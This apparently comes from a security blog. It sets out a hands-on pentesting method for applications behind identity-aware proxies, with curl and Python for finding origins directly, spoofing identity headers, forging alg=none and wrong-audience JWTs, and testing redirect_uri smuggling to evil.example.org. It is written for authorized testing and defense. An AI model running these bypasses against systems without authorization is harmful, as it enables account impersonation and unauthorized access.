Application Security/ /17 min read

Pentesting Identity-Aware Proxies: A Hands-On Methodology

A hands-on methodology for pentesting apps behind identity-aware proxies: Cloudflare Access, Okta, Entra Application Proxy, Google Cloud IAP, and Zscaler Private Access. Commands, requests, tokens, and a small replay harness for fingerprinting the front door, hunting the origin, breaking JWT validation, and diffing two…

This is a hands-on methodology for testing applications published behind an identity-aware proxy: Cloudflare Access, Okta, Entra Application Proxy, Google Cloud IAP, or Zscaler Private Access. Every section below is built around commands you can run, requests you can send, and the exact fields you should read in the response. The interesting work starts where most testers stop, at the SSO redirect, so the examples start there too.

Everything here assumes written authorization, dedicated test accounts, and agreed rate limits. Identity testing can lock users out and page an on-call team. Use your own two controlled accounts for every impersonation check. Never replay a real employee session, and never paste live tokens into an online decoder.

Set up a lab you can trust #

Identity bugs are found by comparing identities, so the setup is about controlled accounts and a clean baseline, not a large toolkit. Get three things in place before you send a single payload: the accounts, a recorded known-good login, and a written expectation matrix.

Accounts. Have the client provision the identities. Never self-register, and never test with a real employee’s account.

Account State Role in the test
userA Assigned to the app, low privilege Baseline for “allowed”
userB Assigned, but a different group, role, or tenant than A Swapped in to prove cross-user and cross-tenant access
userNone Valid in the directory, not assigned to the app Negative control for “should be denied”

Confirm each account’s real group and policy state with the client and write it down. Two accounts that quietly share a group prove nothing.

Tools. A short, boring kit does the whole job.

Tool Used for
Burp or Caido Capture and replay the full authentication flow
httpx, subfinder, dnsx Discover the origin behind the proxy
jq, xmllint Read OIDC metadata and SAML responses
python3 with requests and PyJWT Decode tokens and script the replays

Capture a known-good baseline. Log in cleanly as each identity through the proxy and watch it in Burp or Caido. From one authenticated request, copy the full Cookie header into a per-identity file. Those jars are what every later replay reads, so save them once and work from copies.

bash
# proxy your browser through Burp or Caido, then log in fully as each identity.
# from one authenticated request, copy the entire Cookie header verbatim into a
# per-identity jar:
#   cookie_userA.txt   assigned, low privilege
#   cookie_userB.txt   assigned, different group / tenant
#   cookie_none.txt    valid directory account, not assigned to the app
# later, for the session tests, keep a post-logout copy as cookie_expired.txt

# sanity-check the assigned jars: expect an authenticated 200, not an SSO redirect
for id in userA userB; do
  code=$(curl -sk -o /dev/null -w '%{http_code}' 
    -H "Cookie: $(cat cookie_$id.txt)" https://app.example.com/)
  echo "$id -> $code"
done

# never mutate the originals; replay from working copies
for id in userA userB none; do cp "cookie_$id.txt" "work_$id.txt"; done

Write the expectation matrix. For every route or object that matters, note what each identity should get before you touch it. A short table of expected versus observed finds more real bugs than a large wordlist, because identity flaws are about who is allowed, not about odd input.

Route or object userA (owner) userB (other group) Unassigned
/api/invoices/{A's id} 200 403 or 404 Redirect to SSO
/admin 403 403 Redirect to SSO
/api/health 200 200 Per policy

Step 1: fingerprint what is actually in front of the app #

Do not guess from the login screen. Read the headers and the redirect target. One request usually tells you which product is enforcing access.

bash
curl -sSIk https://app.example.com/ 
  | grep -iE 'server|cf-ray|location|x-amz|x-goog|www-authenticate|set-cookie'

# where does an unauthenticated request actually land?
curl -sSIkL https://app.example.com/ -o /dev/null -w '%{url_effective}n'

Match what you see against the signals below.

Signal in the response What is in front Next move
Redirect to team-name.cloudflareaccess.com/cdn-cgi/access/login, CF_Authorization cookie, cf-ray header Cloudflare Access Read the Access JWT and test the origin directly
Redirect to tenant.okta.com or a custom domain with /oauth2/ and /authorize Okta Pull OIDC metadata, compare entry points
Redirect to login.microsoftonline.com, backend host ends in .msappproxy.net Entra ID, likely App Proxy Check preauth mode and the internal URL
Redirect to accounts.google.com with an IAP continue URL, x-goog-* headers Google Cloud IAP Find the backend audience and other backends
No public redirect, access only from a managed client on a private FQDN Zscaler Private Access Move to segment and policy testing

Record the exact issuer host and any audience tag now. You will reuse both in every token test that follows.

Step 2: pull the identity metadata #

OIDC providers publish everything you need. Fetch it and keep the issuer, the endpoints, and the signing keys.

bash
# Okta org authorization server
curl -s https://tenant.okta.com/.well-known/openid-configuration 
  | jq '{issuer, authorization_endpoint, token_endpoint, jwks_uri}'

# Entra tenant
curl -s https://login.microsoftonline.com/CONTOSO.onmicrosoft.com/v2.0/.well-known/openid-configuration 
  | jq '{issuer, jwks_uri}'

# list the signing key ids the app should accept
meta=https://tenant.okta.com/.well-known/openid-configuration
curl -s "$(curl -s "$meta" | jq -r .jwks_uri)" | jq -r '.keys[].kid'

On Okta you can also probe how a user is federated. Webfinger tells you whether an address logs in locally or is redirected to another IdP, which matters for account-linking and downgrade tests.

bash
curl -s "https://tenant.okta.com/.well-known/webfinger?resource=acct:[email protected]" | jq

Step 3: find and test the origin directly #

An identity-aware proxy only protects traffic that goes through it. The first serious question is whether the origin answers on another name or address without the policy.

bash
# certificate transparency and passive discovery
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u
subfinder -d example.com -silent | dnsx -silent -a -resp

# favicon pivot: hash it, then search Shodan for http.favicon.hash:VALUE
python3 - <<'PY'
import mmh3, requests, codecs
c = requests.get("https://app.example.com/favicon.ico", verify=False).content
print(mmh3.hash(codecs.encode(c, "base64")))
PY

When you have a candidate address, keep the real hostname in SNI and Host, and only change where the packets go. Compare a harmless route through the edge with the same route sent straight to the candidate.

bash
CAND=203.0.113.10
path=/robots.txt

edge=$(curl -sk "https://app.example.com$path" | sha256sum | cut -d' ' -f1)
orig=$(curl -sk --resolve app.example.com:443:$CAND "https://app.example.com$path" | sha256sum | cut -d' ' -f1)
echo "edge=$edge"; echo "orig=$orig"

# a route that should never exist. On a clean origin this is a 404 from the app,
# not an Access login page. A 200 or an app error means you reached the origin.
curl -sk --resolve app.example.com:443:$CAND 
  https://app.example.com/definitely-not-real-7f2d -D - -o /dev/null

Do not report the address itself. Report that the origin served a request that the access policy should have stopped. The fix is a tunnel or provider-origin authentication, not a note in the DNS records.

Step 4: test whether the origin trusts headers it should not #

Proxies pass identity in headers. The bug is an origin that believes those headers without checking the signed token behind them. Prove it with your second test identity, reaching the origin directly.

bash
# Cloudflare Access example: send only the email header, no signed JWT
curl -sk --resolve app.example.com:443:$CAND 
  -H 'Cf-Access-Authenticated-User-Email: [email protected]' 
  https://app.example.com/admin -D - -o /dev/null

# generic identity headers that backends are often wired to trust
for h in X-Forwarded-User X-Remote-User X-Authenticated-User X-Forwarded-Email X-User-Email; do
  code=$(curl -sk --resolve app.example.com:443:$CAND 
    -H "$h: [email protected]" 
    -o /dev/null -w '%{http_code}' "https://app.example.com/admin")
  echo "$h -> $code"
done

# duplicate-header handling: which value wins across the hops?
curl -sk --resolve app.example.com:443:$CAND 
  -H 'X-Forwarded-User: [email protected]' 
  -H 'X-Forwarded-User: [email protected]' 
  https://app.example.com/whoami

An unsigned X-User-Email is not identity. A response that changes based on it, sent to a reachable origin, is a high-impact finding.

Step 5: attack the JWT validation, not the JWT #

Where the platform signs a token for the origin, the origin must verify signature, issuer, audience, and expiry. Read the real token first, then send controlled failures.

bash
# decode any JWT locally, no network, no online decoders
jwtpeek() { python3 - "$1" <<'PY'
import sys, base64, json
p = sys.argv[1].split('.')[1]
p += '=' * (-len(p) % 4)                       # restore base64url padding
print(json.dumps(json.loads(base64.urlsafe_b64decode(p)), indent=2))
PY
}

# read a Cloudflare Access assertion you were legitimately issued
jwtpeek "$CF_ACCESS_JWT"     # note aud (the Application Audience) and iss

# the keys the origin should pin, straight from Cloudflare
curl -s https://team-name.cloudflareaccess.com/cdn-cgi/access/certs | jq -r '.keys[].kid'

Now generate the four negatives and fire them at a reachable origin. The origin should reject all four.

python
import base64, json, time

def b64(o):
    return base64.urlsafe_b64encode(json.dumps(o).encode()).rstrip(b"=").decode()

# 1) alg=none, no signature at all
none_tok = b64({"alg": "none", "typ": "JWT"}) + "." + 
           b64({"aud": "REAL_AUD", "email": "[email protected]"}) + "."

# 2) valid-looking claims but the wrong audience
wrong_aud = b64({"alg": "RS256", "kid": "REAL_KID"}) + "." + 
            b64({"aud": "SOME_OTHER_APP", "email": "[email protected]",
                 "exp": int(time.time()) + 600}) + ".AAAA"

# 3) correct audience but already expired
expired = b64({"alg": "RS256", "kid": "REAL_KID"}) + "." + 
          b64({"aud": "REAL_AUD", "email": "[email protected]",
               "exp": int(time.time()) - 3600}) + ".AAAA"

# 4) missing token entirely: just omit the header on the request

for name, tok in [("none", none_tok), ("wrong_aud", wrong_aud), ("expired", expired)]:
    print(name, tok[:60], "...")
bash
# send each against the origin and watch for anything other than a hard reject
curl -sk --resolve app.example.com:443:$CAND 
  -H "Cf-Access-Jwt-Assertion: $NONE_TOK" 
  https://app.example.com/ -o /dev/null -w 'none -> %{http_code}n'

A signed token for the wrong audience is the single best negative control. If it is accepted, the origin verified the signature but never checked who the token was for, which is the most common half-done validation I find.

Step 6: token and session confusion, with a tiny harness #

Map every artifact in the flow: the IdP session cookie, the proxy access cookie, the authorization code, the access token, the ID token, the refresh token, and the application session cookie. Then swap exactly one thing per request and diff the result.

python
#!/usr/bin/env python3
# reqswap.py: replay one route as three identities, change one factor at a time
import sys, hashlib, requests
requests.packages.urllib3.disable_warnings()

url = sys.argv[1]

def cookie(path):
    return {"Cookie": open(path).read().strip()}

def fetch(label, headers):
    r = requests.get(url, headers=headers, allow_redirects=False, verify=False)
    digest = hashlib.sha256(r.content).hexdigest()[:12]
    print(f"{label:12} {r.status_code}  len={len(r.content):>6}  body={digest}")

fetch("userA",     cookie("cookie_userA.txt"))   # baseline, allowed
fetch("userB",     cookie("cookie_userB.txt"))   # different identity, same object
fetch("none",      {})                            # no session at all
fetch("expired",   cookie("cookie_expired.txt"))  # old session after logout

Equal status and equal body hash between userA and userB on a per-user object is an authorization bug. Run it against these questions:

  • Does the API accept an ID token where it expects an access token?
  • Does application logout leave the proxy session alive, or the reverse?
  • After the client disables the user, how long does the app session keep working?
  • Can a token minted for app A be replayed to app B in the same tenant?

Turn the answer into a measurement, not an adjective. “The app session stayed valid for 11 hours after Entra revoked refresh tokens and denied a fresh login” is a fixable finding.

Step 7: authorization after the login succeeds #

Passing SSO answers “may this identity reach the app.” It does not answer “may this identity read this record.” Run object-level and function-level checks with both accounts once you are inside.

http
GET /api/v2/invoices/1007 HTTP/1.1
Host: app.example.com
Cookie: session=<userA application session>
Accept: application/json

Repeat with userB’s session and the same object id. A 200 for a record that belongs to userA is a BOLA. Then look at what the platform did on first login.

  • Applications that auto-provision on first SSO login often create a local user with a surprising default role. Log in with the unassigned account where the integration is broad and read the role you land in.
  • Group-to-role mapping breaks on substring matches. A claim of read-admin-notes that grants admin because the app checked for admin is a real pattern. Test overlapping group names.
  • Remove a group from a user, then re-run a privileged action with the existing session. Record propagation delay and stale-session behavior separately.

Step 8: OIDC and SAML integration errors, hands on #

For OIDC, the redirect URI is where money moves. Try to smuggle the code to a host you control and watch whether the authorization server allows it.

bash
# exact match should be enforced. Test a swapped host, an added path,
# a trailing dot, an @ trick, and an open redirect on an allowlisted host.
base="https://tenant.okta.com/oauth2/v1/authorize"
for ru in 
  "https://evil.example.org/cb" 
  "https://app.example.com.evil.example.org/cb" 
  "https://[email protected]/cb" 
  "https://app.example.com/redirect?next=https://evil.example.org"; do
  echo "== $ru"
  curl -s -o /dev/null -w '%{http_code} %{redirect_url}n' -G "$base" 
    --data-urlencode "client_id=0oaEXAMPLE" 
    --data-urlencode "response_type=code" 
    --data-urlencode "scope=openid" 
    --data-urlencode "state=abc123" 
    --data-urlencode "redirect_uri=$ru"
done

Also confirm PKCE on public clients, that state and nonce are actually checked, and that an authorization code cannot be redeemed twice. Missing state only matters when you can show login CSRF or session swapping in the real flow, so demonstrate the swap.

For SAML, decode the response and read the conditions before touching signatures.

bash
echo "$SAMLResponse" 
  | python3 -c 'import sys,base64;print(base64.b64decode(sys.stdin.read().strip()).decode())' 
  | xmllint --format -
# read: Audience, Recipient, Destination, NotOnOrAfter, InResponseTo,
# and which node the Signature actually covers

The classic SAML failures are a service provider that accepts an unsigned assertion, that ignores the audience or recipient, that has no replay protection on the assertion id, or that is vulnerable to signature wrapping. Keep the exact baseline message and mutate one element at a time so you can explain the parser behavior later.

Platform deep dives #

Okta #

Okta sits upstream, then the app keeps its own session. Compare entry points, because a different door can select a weaker policy.

text
Compare the same user through each of these and watch for a missing step-up:
  Okta dashboard tile
  SP-initiated login (deep link into the app)
  IdP-initiated login
  native / mobile flow
  API authorization flow
  custom domain vs the tenant .okta.com domain

If administration is in scope, pull the System Log for your own actions. It is the fastest way to learn which policy rule matched.

bash
curl -s -H "Authorization: SSWS $OKTA_TOKEN" 
  "https://tenant.okta.com/api/v1/logs?since=2026-09-04T00:00:00Z&filter=actor.alternateId+eq+%[email protected]%22" 
  | jq -r '.[] | [.published, .eventType, .outcome.result] | @tsv'

# eventTypes worth watching:
#   policy.evaluate_sign_on            which sign-on policy fired
#   user.authentication.sso            SSO into an app
#   user.mfa.factor.activate           a new factor enrolled
#   application.user_membership.add    JIT or assignment change
#   system.api_token.create            a durable token was minted

Do not create a durable admin token for convenience. Check whether existing SSWS tokens have network-zone restrictions and least privilege, and check the non-federated local accounts in the downstream SaaS, which usually have weaker controls than the federated path.

Cloudflare Access #

Access is inline, so the edge-to-origin contract is the whole game. The browser identity endpoint is a quick way to read your verified claims.

bash
# your identity as Access sees it, from an authenticated browser context
curl -s https://app.example.com/cdn-cgi/access/get-identity 
  -b "CF_Authorization=$CF_COOKIE" | jq '{email, groups, idp}'

Then inventory the policy actions. A Bypass rule removes Access for matching traffic, so treat any Bypass path as exposed unless the origin has its own control. Service Auth uses a client id and secret in headers, so grep the front-end bundle and any build logs for them.

bash
# does a service token get accepted more broadly than intended?
curl -sk https://app.example.com/api/health 
  -H "CF-Access-Client-Id: $CF_CLIENT_ID" 
  -H "CF-Access-Client-Secret: $CF_CLIENT_SECRET" -o /dev/null -w '%{http_code}n'
# then try the same credentials against /api/admin and compare

Microsoft Entra Application Proxy #

The key question is preauthentication mode. With Passthrough the backend receives anonymous traffic and must defend itself. Do not trust the login experience. Confirm the mode, then test the internal URL from an internal position.

text
External URL:  https://app-contoso.msappproxy.net  (or a custom domain)
Internal URL:  https://app.internal.contoso.com     (backend the connector reaches)

Test from an internal or VPN position whether the internal URL answers
without Conditional Access. That path needs its own controls.

For header-based SSO, run the same header-injection negatives from Step 4 against the backend with the connector path removed. Then read the sign-in logs to see exactly which Conditional Access policies applied.

text
SigninLogs
| where UserPrincipalName == "[email protected]"
| project TimeGenerated, AppDisplayName, ConditionalAccessStatus, ResultType, IPAddress, ClientAppUsed
| mv-expand ConditionalAccessPolicies
| extend policy = tostring(ConditionalAccessPolicies.displayName),
         result = tostring(ConditionalAccessPolicies.result)
| project TimeGenerated, AppDisplayName, policy, result, ClientAppUsed

Google Cloud IAP #

IAP protects the workload at Google’s front end and signs an assertion for the app. There are two different audiences, and mixing them up is a common mistake, so keep them separate.

bash
# programmatic access: request an ID token whose audience is the IAP OAuth client id
TOKEN=$(gcloud auth print-identity-token 
  --audiences=IAP_CLIENT_ID.apps.googleusercontent.com)
curl -s -H "Authorization: Bearer $TOKEN" https://app.example.com/ -o /dev/null -w '%{http_code}n'
text
The x-goog-iap-jwt-assertion that the APP receives has a different audience:
  backend service:  /projects/PROJECT_NUMBER/global/backendServices/BACKEND_ID
  App Engine:       /projects/PROJECT_NUMBER/apps/PROJECT_ID

The app must verify signature and THIS audience, using the keys at
  https://www.gstatic.com/iap/verify/public_key
Test the verifier by changing only aud, then only exp, then only the signature.

Check where roles/iap.httpsResourceAccessor is granted. A project-level grant can cover more backends than intended, and a single unprotected backend service behind the load balancer turns the whole hostname into a bypass. Review IAM at resource, project, folder, and organization levels, because the effective policy is what decides access.

Zscaler Private Access #

ZPA is not an HTTP reverse proxy. It brokers a user or workload to an application segment. The test object is the segmentation and policy model, and access uses the most specific segment with top-down, first-match evaluation.

text
Ask for the segment and policy export, then build a matrix:
  user  |  device posture  |  FQDN / IP  |  port  |  expected rule  |  observed rule

Overlap to hunt for:
  a narrow sensitive segment  (app-db.internal:5432, one group)
  under a broad wildcard      (*.internal:1-65535, all employees)
The wildcard can silently expose new or forgotten services. Resolve exact
FQDNs first, confirm the matched segment from ZPA logs, then test wildcards.

Resolve DNS through the same path the client uses, because split DNS can send two users to different applications for the same name. Treat ZPA Browser Access as a separate web application and test it like any other proxy: direct origin, identity headers, cookies, uploads, downloads, and local authorization.

Validate that the blue team can see you #

A test is more useful when defenders can distinguish your actions. Coordinate timestamps and source IPs, then confirm logging exists for the events that matter.

text
Confirm a log line for each of these, with a stable subject id and a correlation id:
  failed policy decision at the edge
  direct-origin attempt that bypassed the proxy
  invalid or wrong-audience JWT rejected at the application
  factor reset and new device enrollment
  service-token use on a human route
  group change and user suspension

Never log whole bearer tokens or session cookies. Log the subject and the
request id so renames and aliases do not break incident response.
text
# GCP: IAP access decisions land in Cloud Audit Logs data access.
# Filter for the IAP access permission (it ends in accessViaIAP):
logName:"cloudaudit.googleapis.com%2Fdata_access"
protoPayload.authorizationInfo.permission:"accessViaIAP"

Report the chain, not the first misconfiguration #

Identity findings are chains. Name the trust assumption that failed and show the business action you reached.

The production origin accepts traffic from the internet. It trusts X-Authenticated-User without validating the proxy-signed assertion. An unauthenticated request can set that header to a controlled privileged test account and reach /admin/export. Cloudflare Access is not bypassed. The request avoids it entirely. Fix: restrict the origin to the tunnel and verify the signed Cf-Access-Jwt-Assertion audience at the app. Regression test: the four negative tokens from Step 5 must all return 403.

Avoid the title “SSO bypass” when the SSO service behaved correctly. Name the real failure: direct origin access, missing audience validation, a broad IAM binding, App Proxy passthrough exposure, a stale local session, or an overlapping ZPA segment. Ship a negative regression test with every finding so the retest proves the trust relationship rather than the login page.

What I run in the first hour #

If time is short, I do not attack the SSO login form. I fingerprint the front door, pull the OIDC metadata, hunt the origin and hit it directly, read one real signed token and replay the four negatives, and diff the same object as two users. Those five moves cross the trust boundaries where expensive assumptions collect. The login page is almost never where the money is.

References #